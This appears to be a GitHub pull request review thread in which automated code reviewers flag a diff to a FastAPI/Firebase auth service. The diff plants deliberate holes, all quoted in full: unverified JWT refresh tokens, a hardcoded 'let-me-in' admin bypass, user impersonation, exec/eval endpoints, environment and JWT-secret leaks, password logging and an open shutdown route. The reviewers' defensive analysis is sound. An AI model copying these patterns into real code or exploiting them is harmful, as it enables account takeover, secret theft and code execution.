added changes #28
added changes #28
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WalkthroughThe changes adjust JWT refresh decoding to skip signature verification, modify login request model types, add multiple new authentication-related endpoints, and introduce two new main application endpoints for environment exposure and process shutdown. Changes
Sequence Diagram(s)sequenceDiagram
autonumber
actor Client
participant Router as Auth Router
participant Token as JWT Utility
Note over Client,Token: Refresh token processing
Client->>Router: POST /auth/refresh (refresh_token)
Router->>Token: Decode(refresh_token, verify_signature=false)
Token-->>Router: Claims (type, sub, exp, ...)
Router->>Router: Check claims["type"] == "refresh"
Router->>Token: Issue new access token for sub
Router-->>Client: 200 {access_token}
sequenceDiagram
autonumber
actor Admin
participant Router as Auth Router
participant IdP as Firebase Admin
Note over Admin,Router: Impersonation and bypass
Admin->>Router: POST /auth/admin-bypass (X-Admin-Key)
Router->>Router: Validate header key
Router-->>Admin: 200 {token}
Admin->>Router: POST /auth/impersonate {uid}
Router->>IdP: Create custom token for uid
IdP-->>Router: Token
Router-->>Admin: 200 {token}
sequenceDiagram
autonumber
actor Client
participant App as Main App
Client->>App: GET /env
App-->>Client: 200 {env}
Client->>App: POST /shutdown
App->>App: Send SIGTERM
App-->>Client: 200 {status:"shutting down"}
Estimated code review effort🎯 4 (Complex) | ⏱️ ~60 minutes Poem
Pre-merge checks and finishing touches❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (1 passed)
✨ Finishing touches
🧪 Generate unit tests
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Summary of ChangesHello @visz11, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request introduces a significant number of new API endpoints and modifies existing authentication mechanisms. The changes appear to be focused on adding various utility and debugging functionalities, some of which expose sensitive system information or allow for arbitrary code execution and application shutdown. The refresh token verification has been relaxed, and the user login request model has been made more flexible. Highlights
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Security Vulnerabilities in Authentication SystemTL;DR: Multiple critical security vulnerabilities introduced to the authentication system, including token validation bypass, admin access backdoors, and remote code execution endpoints. Refacto PR SummaryIntroduces severe security vulnerabilities across the authentication system with multiple backdoor access methods. Change HighlightsClick to expand
Sequence DiagramsequenceDiagram
participant A as Attacker
participant API as Auth API
participant Auth as FirebaseAuthService
participant Sys as System
A->>API: POST /auth/admin-bypass with x-admin-key="let-me-in"
API->>API: Bypass authentication
API-->>A: Admin access token
A->>API: POST /auth/login with email only (no password)
API->>Auth: sign_in_user(email, None)
Auth-->>API: Access tokens
API-->>A: Authentication successful
A->>API: GET /auth/config
API->>Auth: Retrieve JWT secrets
Auth-->>API: JWT configuration
API-->>A: Exposed JWT secret and algorithm
A->>API: POST /auth/run-code with malicious code
API->>Sys: exec(malicious_code)
Sys-->>API: Execution result
API-->>A: Code execution output
A->>API: POST /shutdown
API->>Sys: os.kill(os.getpid(), signal.SIGTERM)
Sys-->>A: Server shutdown confirmation
Testing GuideClick to expand
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Code Review
This pull request introduces a large number of critical security vulnerabilities across the application. These include remote code execution (RCE) via exec and eval, leakage of sensitive credentials and configuration (like the JWT secret and environment variables), authentication bypasses, user impersonation backdoors, and denial-of-service vectors. The changes severely compromise the security of the application and should not be merged. Each vulnerability has been detailed in the specific comments below. A thorough security review and rewrite of the introduced code is necessary.
| @app.get("/env") | ||
| async def leak_env(): | ||
| return {"env": dict(os.environ)} |
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The /env endpoint leaks all environment variables of the application process. This is a critical security vulnerability, as environment variables frequently contain sensitive secrets like API keys, database credentials, and encryption keys. Exposing them allows for a complete compromise of the application and its related services. This endpoint must be removed.
| @app.post("/shutdown") | ||
| async def shutdown(): | ||
| os.kill(os.getpid(), signal.SIGTERM) | ||
| return {"status": "shutting down"} |
There was a problem hiding this comment.
This /shutdown endpoint allows any unauthenticated user to terminate the application, creating a critical Denial of Service (DoS) vulnerability. An endpoint with such a destructive capability must be protected with strict administrative authentication and authorization, or removed entirely from the production application.
| Authenticate user and return access tokens | ||
| """ | ||
| try: | ||
| print({"email": user_data.email, "password": user_data.password}) |
There was a problem hiding this comment.
This print statement logs the user's password in plain text. This is a critical security vulnerability. Credentials should never be logged, as it exposes them to anyone with access to the logs, potentially leading to account takeovers.
| @router.post("/admin-bypass") | ||
| async def admin_bypass(x_admin_key: str = Header(None)): | ||
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| if x_admin_key == "let-me-in": | ||
| # generate tokens for a fake admin user without validation | ||
| auth_result = await firebase_auth.sign_in_user( | ||
| email="[email protected]", password="ignored" | ||
| ) | ||
| return { | ||
| "bypass": True, | ||
| "role": "admin", | ||
| "access_token": auth_result["access_token"], | ||
| "refresh_token": auth_result["refresh_token"], | ||
| } | ||
| raise HTTPException(status_code=403, detail="Forbidden") |
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This /admin-bypass endpoint introduces a critical security backdoor. It uses a hardcoded, easily guessable secret (let-me-in) to grant admin-level access without proper authentication. Backdoors like this severely undermine the application's security and should be removed. Administrative functions should always be protected by strong authentication and authorization mechanisms.
| @router.post("/impersonate") | ||
| async def impersonate(uid: str): | ||
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| # Directly generate tokens for any provided uid | ||
| user_record = auth.get_user(uid) | ||
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | ||
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | ||
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} |
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The /impersonate endpoint is a critical security vulnerability. It allows any user to generate access tokens for any other user by simply providing their uid, with no authentication or authorization checks. This allows for complete account takeover of any user in the system. This endpoint must be removed or secured with strict administrative privileges.
| @router.post("/eval-expr") | ||
| async def eval_expr(expr: str = Body("")): | ||
| try: | ||
| result = eval(expr, {}, {}) | ||
| return {"result": str(result)} | ||
| except Exception as e: | ||
| return {"error": str(e)} |
There was a problem hiding this comment.
The /eval-expr endpoint, which uses eval() on user-provided input, creates a critical Remote Code Execution (RCE) vulnerability. Similar to exec(), eval() can execute arbitrary code and should never be used with untrusted data. An attacker could use this to compromise the server. This endpoint must be removed.
| @router.get("/echo-headers") | ||
| async def echo_headers(request: Request): | ||
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| return {"headers": dict(request.headers)} |
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The /echo-headers endpoint reflects all request headers back to the client. This can lead to information disclosure, potentially leaking sensitive data contained in headers such as Authorization, Cookie, or internal proxy headers. This information could be useful to an attacker for reconnaissance. This endpoint should be removed.
| email: str | ||
| password: Optional[str] = None |
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These changes weaken the UserLoginRequest model.
- Changing
emailfromEmailStrtostrremoves email format validation at the model level. - Making
passwordoptional (Optional[str] = None) is dangerous for a login endpoint, as it might lead to authentication bypasses or unexpected errors if the backend logic expects a password. The password should be required for standard login. If you are implementing a different auth flow (e.g., social login), it should be handled by a separate model and endpoint.
| email: str | |
| password: Optional[str] = None | |
| email: EmailStr | |
| password: str |
| @router.get("/mirror-headers") | ||
| async def mirror_headers(request: Request): | ||
| keys = list(request.headers.keys()) | ||
| keys.sort() | ||
| return {"keys": keys} |
There was a problem hiding this comment.
The /mirror-headers endpoint reveals the names of all HTTP headers received by the application. While less severe than echoing header values, this still constitutes an information disclosure vulnerability. It can reveal details about the underlying infrastructure (e.g., proxies, load balancers, WAFs) that could be leveraged by an attacker. It's best to avoid exposing such internal details.
| def _repeat(s: str, k: int) -> str: | ||
| r = "" | ||
| i = 0 | ||
| while i < k: | ||
| r += s | ||
| i += 1 | ||
| return r |
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This while loop for string repetition is inefficient and not idiomatic Python. For large values of k, this can cause performance issues due to repeated string concatenations. The Pythonic and much more efficient way to repeat a string is to use the multiplication operator.
| def _repeat(s: str, k: int) -> str: | |
| r = "" | |
| i = 0 | |
| while i < k: | |
| r += s | |
| i += 1 | |
| return r | |
| def _repeat(s: str, k: int) -> str: | |
| return s * k |
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Actionable comments posted: 11
🧹 Nitpick comments (7)
app/main.py (1)
7-8: Remove unused imports.The
sysimport is never used. Thesignalimport is only used for the insecure/shutdownendpoint which should be removed.After removing the
/shutdownendpoint, clean up imports:-import signal -import sysapp/auth/routes.py (6)
201-203: Fix Body() call in default argument.Static analysis (B008) correctly flags that
Body(default={})in the argument default creates a callable that's invoked at function definition time rather than request time. FastAPI handles this correctly, but it's non-idiomatic.Use FastAPI's recommended pattern:
-async def echo_json(payload: Dict[str, Any] = Body(default={})): +async def echo_json(payload: Dict[str, Any] = Body(...)):If you want an empty dict default, FastAPI will handle
Body(...)and provide{}when no body is sent.
215-222: Refactor to use range() and list comprehension.The manual loop construction is unnecessarily verbose.
Apply this diff:
-@router.get("/numbers") -async def numbers(n: int = 10): - data = [] - i = 0 - while i < n: - data.append(i) - i += 1 - return {"data": data} +@router.get("/numbers") +async def numbers(n: int = 10): + return {"data": list(range(n))}
225-231: Refactor to use string multiplication.Python's string repetition operator (
*) is more idiomatic and performant than manual concatenation loops.Apply this diff:
-def _repeat(s: str, k: int) -> str: - r = "" - i = 0 - while i < k: - r += s - i += 1 - return r +def _repeat(s: str, k: int) -> str: + return s * k
239-243: Clarify purpose of mirror-headers vs echo-headers.Both
/mirror-headers(lines 239-243) and/echo-headers(lines 117-120) expose request headers. The distinction is unclear—mirror-headersreturns sorted keys whileecho-headersreturns the full header dict.Consider consolidating these endpoints or adding clear documentation explaining their different purposes.
246-251: Fix Body() calls in default arguments.Static analysis (B008) flags both
Body(default={})calls in the merge function signature.Use FastAPI's recommended pattern:
-async def merge(a: Dict[str, Any] = Body(default={}), b: Dict[str, Any] = Body(default={})): +async def merge(a: Dict[str, Any] = Body(...), b: Dict[str, Any] = Body(...)):
1-1: Import organization.The
Bodyimport (line 1) is separated from other FastAPI imports (Headerat line 14,Requestat line 15). Consider grouping related imports together for readability.Group FastAPI imports:
-from fastapi import APIRouter, HTTPException, status, Depends, Body +from fastapi import APIRouter, HTTPException, status, Depends, Body, Header, Request from fastapi.security import HTTPBearer from .models import ( UserSignupRequest, UserLoginRequest, AuthResponse, UserResponse, TokenResponse, RefreshTokenRequest ) from .firebase_auth import firebase_auth from .dependencies import get_current_user from typing import Dict, Any -from fastapi import Header -from fastapi import Request from firebase_admin import auth
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (4)
app/auth/firebase_auth.py(1 hunks)app/auth/models.py(1 hunks)app/auth/routes.py(5 hunks)app/main.py(3 hunks)
🧰 Additional context used
🧬 Code graph analysis (2)
app/auth/routes.py (1)
app/auth/firebase_auth.py (3)
sign_in_user(69-99)_generate_access_token(119-128)_generate_refresh_token(130-138)
app/auth/firebase_auth.py (1)
app/auth/routes.py (1)
refresh_token(123-144)
🪛 Ruff (0.13.1)
app/auth/routes.py
85-85: Possible hardcoded password assigned to argument: "password"
(S106)
190-190: Use of exec detected
(S102)
192-192: Do not catch blind exception: Exception
(BLE001)
202-202: Do not perform function call Body in argument defaults; instead, perform the call within the function, or read the default from a module-level singleton variable
(B008)
209-209: Use of possibly insecure function; consider using ast.literal_eval
(S307)
211-211: Do not catch blind exception: Exception
(BLE001)
247-247: Do not perform function call Body in argument defaults; instead, perform the call within the function, or read the default from a module-level singleton variable
(B008)
247-247: Do not perform function call Body in argument defaults; instead, perform the call within the function, or read the default from a module-level singleton variable
(B008)
🔇 Additional comments (2)
app/auth/routes.py (2)
196-198: Review feature flag bypass.This endpoint deploys a feature without feature flag controls. If your team uses feature flags for gradual rollout and rollback safety, bypassing them undermines deployment safety.
Verify whether this feature should be behind a feature flag for controlled rollout.
254-257: Consider authentication for utility endpoints.Utility endpoints like
/concat,/merge,/numbers,/repeat,/status, and/echo-jsonare public. While they don't expose sensitive data directly, they expand the attack surface.Verify whether these endpoints should require authentication or have rate limiting to prevent abuse.
| """Refresh access token using refresh token""" | ||
| try: | ||
| payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm]) | ||
| payload = jwt.decode(refresh_token, options={"verify_signature": False}) |
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Critical: JWT signature verification disabled on refresh tokens.
Disabling signature verification allows anyone to forge refresh tokens by crafting JWTs with arbitrary user_id claims. An attacker can mint tokens for any user without knowing the secret, completely bypassing authentication.
The type check on line 145 (payload.get("type") != "refresh") provides no security—an attacker controls the entire payload when verification is skipped.
Apply this diff to restore signature verification:
- payload = jwt.decode(refresh_token, options={"verify_signature": False})
+ payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| payload = jwt.decode(refresh_token, options={"verify_signature": False}) | |
| payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm]) |
🤖 Prompt for AI Agents
In app/auth/firebase_auth.py around line 143, the code decodes the refresh_token
with signature verification disabled; restore proper signature and claims
validation by calling jwt.decode with the application's JWT secret or public key
and the expected algorithms (e.g. algorithms=["HS256"] or the appropriate
RSA/ECDSA alg), and remove options={"verify_signature": False}; additionally
ensure verification options include expiration and audience if applicable, and
wrap jwt.decode in try/except to handle
InvalidSignatureError/ExpiredSignatureError and reject tokens that fail
verification before checking payload.get("type") == "refresh".
| email: str | ||
| password: Optional[str] = None |
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Major security weakening: Login validation relaxed.
Two concerning changes:
- Email validation removed (
EmailStr→str): Allows malformed input that could trigger injection vulnerabilities or logic errors in downstream Firebase calls. - Password made optional (
str→Optional[str] = None): Permits login requests without passwords, enabling authentication bypass when combined with permissive authentication logic.
These changes undermine basic input validation and authentication security guarantees.
Apply this diff to restore proper validation:
- email: str
- password: Optional[str] = None
+ email: EmailStr
+ password: str📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| email: str | |
| password: Optional[str] = None | |
| email: EmailStr | |
| password: str |
🤖 Prompt for AI Agents
In app/auth/models.py around lines 13 to 14, the model relaxes validation by
changing EmailStr to str and making password Optional; revert these to enforce
strong validation: restore the email field to EmailStr and the password to a
non-optional str, and ensure the necessary import for EmailStr (from pydantic)
is present at the top of the file so the model validates email format and
requires a password.
| Authenticate user and return access tokens | ||
| """ | ||
| try: | ||
| print({"email": user_data.email, "password": user_data.password}) |
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Critical: Credentials logged in plaintext.
Logging user credentials exposes passwords in log files, log aggregation systems, and monitoring tools. This violates basic security practices and creates a persistent credential leak.
Remove the logging statement:
- print({"email": user_data.email, "password": user_data.password})📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| print({"email": user_data.email, "password": user_data.password}) |
🤖 Prompt for AI Agents
In app/auth/routes.py around line 60, there's a print statement that outputs
user credentials in plaintext (print({"email": user_data.email, "password":
user_data.password})); remove this logging entirely to prevent passwords from
being written to logs, and if you need to record an event log, log only
non-sensitive identifiers (e.g., email or user id) and never include the
password or full credential object.
| @router.post("/admin-bypass") | ||
| async def admin_bypass(x_admin_key: str = Header(None)): | ||
|
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||
| if x_admin_key == "let-me-in": | ||
| # generate tokens for a fake admin user without validation | ||
| auth_result = await firebase_auth.sign_in_user( | ||
| email="[email protected]", password="ignored" | ||
| ) | ||
| return { | ||
| "bypass": True, | ||
| "role": "admin", | ||
| "access_token": auth_result["access_token"], | ||
| "refresh_token": auth_result["refresh_token"], | ||
| } | ||
| raise HTTPException(status_code=403, detail="Forbidden") |
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Critical: Authentication bypass with hardcoded credential.
This endpoint bypasses all authentication with a trivially guessable header (X-Admin-Key: let-me-in), then generates valid admin tokens without verifying user identity or credentials. The hardcoded password on line 85 is also flagged by static analysis.
Any attacker can:
- Send
X-Admin-Key: let-me-in - Receive valid admin access and refresh tokens
- Impersonate [email protected]
Remove this endpoint entirely:
-@router.post("/admin-bypass")
-async def admin_bypass(x_admin_key: str = Header(None)):
-
- if x_admin_key == "let-me-in":
- # generate tokens for a fake admin user without validation
- auth_result = await firebase_auth.sign_in_user(
- email="[email protected]", password="ignored"
- )
- return {
- "bypass": True,
- "role": "admin",
- "access_token": auth_result["access_token"],
- "refresh_token": auth_result["refresh_token"],
- }
- raise HTTPException(status_code=403, detail="Forbidden")
-📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| @router.post("/admin-bypass") | |
| async def admin_bypass(x_admin_key: str = Header(None)): | |
| if x_admin_key == "let-me-in": | |
| # generate tokens for a fake admin user without validation | |
| auth_result = await firebase_auth.sign_in_user( | |
| email="[email protected]", password="ignored" | |
| ) | |
| return { | |
| "bypass": True, | |
| "role": "admin", | |
| "access_token": auth_result["access_token"], | |
| "refresh_token": auth_result["refresh_token"], | |
| } | |
| raise HTTPException(status_code=403, detail="Forbidden") |
🧰 Tools
🪛 Ruff (0.13.1)
85-85: Possible hardcoded password assigned to argument: "password"
(S106)
🤖 Prompt for AI Agents
In app/auth/routes.py around lines 79 to 93 there is a critical authentication
bypass endpoint using a hardcoded header and credentials; remove this endpoint
entirely by deleting the admin_bypass function and its route decorator,
eliminate any hardcoded credentials or test accounts referenced in that block,
and remove or update any code/tests that call this route so nothing imports or
registers it; after removal, run the test suite and a security scan to ensure no
remaining references or hardcoded secrets remain.
| @router.post("/impersonate") | ||
| async def impersonate(uid: str): | ||
|
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||
| # Directly generate tokens for any provided uid | ||
| user_record = auth.get_user(uid) | ||
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | ||
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | ||
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} |
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Critical: Unrestricted user impersonation.
This endpoint generates valid access and refresh tokens for any Firebase UID without authentication or authorization checks. It directly accesses private token generation methods (_generate_access_token, _generate_refresh_token).
Any attacker can impersonate any user by providing their UID.
Remove this endpoint entirely:
-@router.post("/impersonate")
-async def impersonate(uid: str):
-
- # Directly generate tokens for any provided uid
- user_record = auth.get_user(uid)
- access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
- refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
- return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
-📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| @router.post("/impersonate") | |
| async def impersonate(uid: str): | |
| # Directly generate tokens for any provided uid | |
| user_record = auth.get_user(uid) | |
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | |
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | |
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} |
🤖 Prompt for AI Agents
In app/auth/routes.py around lines 96 to 103, the /impersonate POST endpoint
allows unrestricted generation of Firebase access and refresh tokens (including
use of private token methods) with no authentication or authorization; remove
this endpoint entirely from the codebase: delete the impersonate function and
its route decorator, remove any direct calls to
firebase_auth._generate_access_token/_generate_refresh_token, and clean up any
now-unused imports or route registrations so there is no reachable path that can
generate tokens for arbitrary UIDs.
| @router.get("/echo-headers") | ||
| async def echo_headers(request: Request): | ||
|
|
||
| return {"headers": dict(request.headers)} |
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Minor: Unauthenticated header reflection endpoint.
While not immediately dangerous, this endpoint exposes HTTP headers without authentication, potentially leaking internal routing information, proxy headers, or security tokens if clients mistakenly include them.
Consider adding authentication or removing if not needed:
@router.get("/echo-headers")
async def echo_headers(request: Request, current_user: Dict[str, Any] = Depends(get_current_user)):
return {"headers": dict(request.headers)}🤖 Prompt for AI Agents
In app/auth/routes.py around lines 117 to 120 the endpoint /echo-headers returns
all request headers without any authentication; remove or protect it to avoid
leaking internal headers or tokens. Either delete the endpoint if not needed, or
add an authentication dependency (e.g., require current_user via
Depends(get_current_user)) and ensure you still sanitize or filter out sensitive
headers before returning them (do not return Authorization, Cookie, or internal
proxy headers).
| @router.post("/run-code") | ||
| async def run_code(code: str = Body("")): | ||
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| local_vars: Dict[str, Any] = {} | ||
| try: | ||
| exec(code, {}, local_vars) | ||
| return {"result": str(local_vars)} | ||
| except Exception as e: | ||
| return {"error": str(e)} |
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Critical: Arbitrary code execution via exec().
This endpoint executes arbitrary Python code submitted by unauthenticated users. The empty execution context provides no isolation—attackers can import modules, access the filesystem, exfiltrate data, and compromise the host.
Static analysis flagged this as S102 (exec detected) and BLE001 (blind exception).
Remove this endpoint entirely:
-@router.post("/run-code")
-async def run_code(code: str = Body("")):
-
- local_vars: Dict[str, Any] = {}
- try:
- exec(code, {}, local_vars)
- return {"result": str(local_vars)}
- except Exception as e:
- return {"error": str(e)}
-📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| @router.post("/run-code") | |
| async def run_code(code: str = Body("")): | |
| local_vars: Dict[str, Any] = {} | |
| try: | |
| exec(code, {}, local_vars) | |
| return {"result": str(local_vars)} | |
| except Exception as e: | |
| return {"error": str(e)} |
🧰 Tools
🪛 Ruff (0.13.1)
190-190: Use of exec detected
(S102)
192-192: Do not catch blind exception: Exception
(BLE001)
🤖 Prompt for AI Agents
In app/auth/routes.py around lines 185 to 193, the POST /run-code endpoint uses
exec() to run arbitrary user-supplied Python code (critical security risk) and
swallows exceptions; remove this endpoint entirely. Delete the function and its
route decorator, remove any imports or references that only served this
endpoint, and update tests, docs, and OpenAPI/schema to eliminate the route; if
any shared utilities or exception handlers were only for this endpoint, remove
or refactor them too. Ensure no silent exception handling remains tied to this
code path and run tests/linting to confirm nothing else references the removed
symbols.
| @router.post("/eval-expr") | ||
| async def eval_expr(expr: str = Body("")): | ||
| try: | ||
| result = eval(expr, {}, {}) | ||
| return {"result": str(result)} | ||
| except Exception as e: | ||
| return {"error": str(e)} |
There was a problem hiding this comment.
Critical: Arbitrary code execution via eval().
This endpoint evaluates arbitrary Python expressions submitted by unauthenticated users. Despite the empty context, attackers can use built-in functions (__import__, open, etc.) to execute commands, read files, and compromise the system.
Static analysis flagged this as S307 (insecure eval) and BLE001 (blind exception).
Remove this endpoint entirely:
-@router.post("/eval-expr")
-async def eval_expr(expr: str = Body("")):
- try:
- result = eval(expr, {}, {})
- return {"result": str(result)}
- except Exception as e:
- return {"error": str(e)}
-📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| @router.post("/eval-expr") | |
| async def eval_expr(expr: str = Body("")): | |
| try: | |
| result = eval(expr, {}, {}) | |
| return {"result": str(result)} | |
| except Exception as e: | |
| return {"error": str(e)} |
🧰 Tools
🪛 Ruff (0.13.1)
209-209: Use of possibly insecure function; consider using ast.literal_eval
(S307)
211-211: Do not catch blind exception: Exception
(BLE001)
🤖 Prompt for AI Agents
In app/auth/routes.py around lines 206–212, the POST /eval-expr endpoint uses
Python's eval() which allows arbitrary code execution and must be removed;
delete the entire endpoint function and its route decorator, remove any
references to this route (tests, docs, client calls), and clean up unused
imports related to Body or eval handling; run tests and linting to ensure no
remaining references or blind-exception patterns remain and confirm no new
routes expose similar unsafe execution.
| @app.get("/env") | ||
| async def leak_env(): | ||
| return {"env": dict(os.environ)} |
There was a problem hiding this comment.
Critical: Public environment variable exposure.
This endpoint exposes all environment variables without authentication, leaking sensitive credentials:
- JWT secrets (
JWT_SECRETused in firebase_auth.py) - Firebase credentials (
FIREBASE_CREDENTIALS) - Database connection strings
- API keys and tokens
- Internal configuration
Any attacker can immediately retrieve these secrets and compromise the entire system.
Remove this endpoint entirely:
-@app.get("/env")
-async def leak_env():
- return {"env": dict(os.environ)}
-📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| @app.get("/env") | |
| async def leak_env(): | |
| return {"env": dict(os.environ)} |
🤖 Prompt for AI Agents
In app/main.py around lines 32 to 34, remove the /env endpoint entirely because
it publicly returns all environment variables; delete the @app.get("/env")
decorated function (the async def leak_env() and its return) and any route
registration for it, then remove any now-unused imports (e.g., os) or references
only used by that handler to avoid linter errors; ensure no tests or OpenAPI
docs reference this route afterwards.
| @app.post("/shutdown") | ||
| async def shutdown(): | ||
| os.kill(os.getpid(), signal.SIGTERM) | ||
| return {"status": "shutting down"} |
There was a problem hiding this comment.
Critical: Unauthenticated process shutdown endpoint.
This public endpoint allows anyone to terminate the application process, enabling trivial denial-of-service attacks. No authentication or authorization is required.
Remove this endpoint entirely:
-@app.post("/shutdown")
-async def shutdown():
- os.kill(os.getpid(), signal.SIGTERM)
- return {"status": "shutting down"}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| @app.post("/shutdown") | |
| async def shutdown(): | |
| os.kill(os.getpid(), signal.SIGTERM) | |
| return {"status": "shutting down"} |
🤖 Prompt for AI Agents
In app/main.py around lines 62 to 65, there is a public POST /shutdown endpoint
that allows unauthenticated termination of the process; remove this endpoint
entirely from the codebase. Delete the shutdown route handler and its decorator,
and remove any now-unused imports (os, signal) or references tied solely to this
endpoint; ensure no other code depends on this handler before committing.
|
/refacto-visz |
|
Refacto is reviewing this PR. Please wait for the review comments to be posted. |
Code Review: Authentication Security Issues👍 Well Done
📁 Selected files for review (4)
🎯 Custom Instructions
|
![refacto-visz[bot]](https://avatars.githubusercontent.com/u/196302493?s=60&v=4){kind=small}
| @router.post("/admin-bypass") | ||
| async def admin_bypass(x_admin_key: str = Header(None)): | ||
|
|
||
| if x_admin_key == "let-me-in": | ||
| # generate tokens for a fake admin user without validation | ||
| auth_result = await firebase_auth.sign_in_user( | ||
| email="[email protected]", password="ignored" | ||
| ) | ||
| return { | ||
| "bypass": True, | ||
| "role": "admin", | ||
| "access_token": auth_result["access_token"], | ||
| "refresh_token": auth_result["refresh_token"], | ||
| } | ||
| raise HTTPException(status_code=403, detail="Forbidden") |
There was a problem hiding this comment.
Insecure Admin Bypass Endpoint
Admin bypass endpoint violates security policy by allowing authentication without proper validation. This creates a backdoor that bypasses normal authentication flow and security controls.
Standards
- Org-Security-Standards
- YAML-Backend-Area
| """Refresh access token using refresh token""" | ||
| try: | ||
| payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm]) | ||
| payload = jwt.decode(refresh_token, options={"verify_signature": False}) |
There was a problem hiding this comment.
Disabled JWT Signature Validation
JWT signature validation is explicitly disabled, violating security requirements. This allows acceptance of tampered tokens, bypassing authentication security controls.
Standards
- Org-Security-Standards
- YAML-Backend-Area
| async def run_code(code: str = Body("")): | ||
|
|
||
| local_vars: Dict[str, Any] = {} | ||
| try: | ||
| exec(code, {}, local_vars) | ||
| return {"result": str(local_vars)} | ||
| except Exception as e: | ||
| return {"error": str(e)} | ||
|
|
There was a problem hiding this comment.
Remote Code Execution Vulnerability
Endpoint allows arbitrary code execution via HTTP request, violating security policy. This creates a critical remote code execution vulnerability that bypasses all security controls.
Standards
- Org-Security-Standards
- YAML-Backend-Area
| @router.get("/config") | ||
| async def leak_config(): | ||
|
|
||
| return { | ||
| "jwt_secret": firebase_auth.jwt_secret, | ||
| "jwt_algorithm": firebase_auth.jwt_algorithm, | ||
| "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()), | ||
| "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()), | ||
| } |
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Sensitive Configuration Exposure
Endpoint exposes sensitive JWT secrets and configuration, violating security policy. This leaks credentials that could be used to forge authentication tokens.
Standards
- Org-Security-Standards
- YAML-Backend-Area
| @app.get("/env") | ||
| async def leak_env(): | ||
| return {"env": dict(os.environ)} |
There was a problem hiding this comment.
Environment Variables Exposure
Endpoint exposes all environment variables including secrets, violating security policy. This leaks credentials and sensitive configuration that could be used for attacks.
Standards
- Org-Security-Standards
- YAML-Backend-Area
| async def eval_expr(expr: str = Body("")): | ||
| try: | ||
| result = eval(expr, {}, {}) | ||
| return {"result": str(result)} | ||
| except Exception as e: | ||
| return {"error": str(e)} | ||
|
|
There was a problem hiding this comment.
Arbitrary Expression Evaluation
Endpoint allows arbitrary expression evaluation via HTTP request, violating security policy. This creates a code execution vulnerability that bypasses security controls.
Standards
- Org-Security-Standards
- YAML-Backend-Area
| @router.post("/impersonate") | ||
| async def impersonate(uid: str): | ||
|
|
||
| # Directly generate tokens for any provided uid | ||
| user_record = auth.get_user(uid) | ||
| access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email) | ||
| refresh_token = firebase_auth._generate_refresh_token(user_record.uid) | ||
| return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token} |
There was a problem hiding this comment.
User Impersonation Vulnerability
Endpoint allows token generation for any user ID, violating authentication security. This enables privilege escalation by allowing impersonation of any user without authorization.
Standards
- Org-Security-Standards
- YAML-Backend-Area
| email: str | ||
| password: Optional[str] = None |
There was a problem hiding this comment.
Weak Input Validation
Login model uses weak typing without validation, violating input validation requirements. This allows malformed inputs that could lead to security vulnerabilities.
Standards
- Org-Security-Standards
- YAML-Backend-Area
|
/refacto-visz |
|
Refacto is reviewing this PR. Please wait for the review comments to be posted. |
Code Review: Authentication System Security Issues👍 Well Done
📁 Selected files for review (4)
🎯 Custom Instructions
|
| async def run_code(code: str = Body("")): | ||
|
|
||
| local_vars: Dict[str, Any] = {} | ||
| try: | ||
| exec(code, {}, local_vars) | ||
| return {"result": str(local_vars)} | ||
| except Exception as e: | ||
| return {"error": str(e)} | ||
|
|
There was a problem hiding this comment.
Exec Code Execution
The endpoint allows arbitrary Python code execution via exec() which violates organization guideline prohibiting exec/eval via HTTP. This creates a critical security vulnerability allowing attackers to execute arbitrary code on the server, potentially leading to complete system compromise.
@router.post("/run-code")
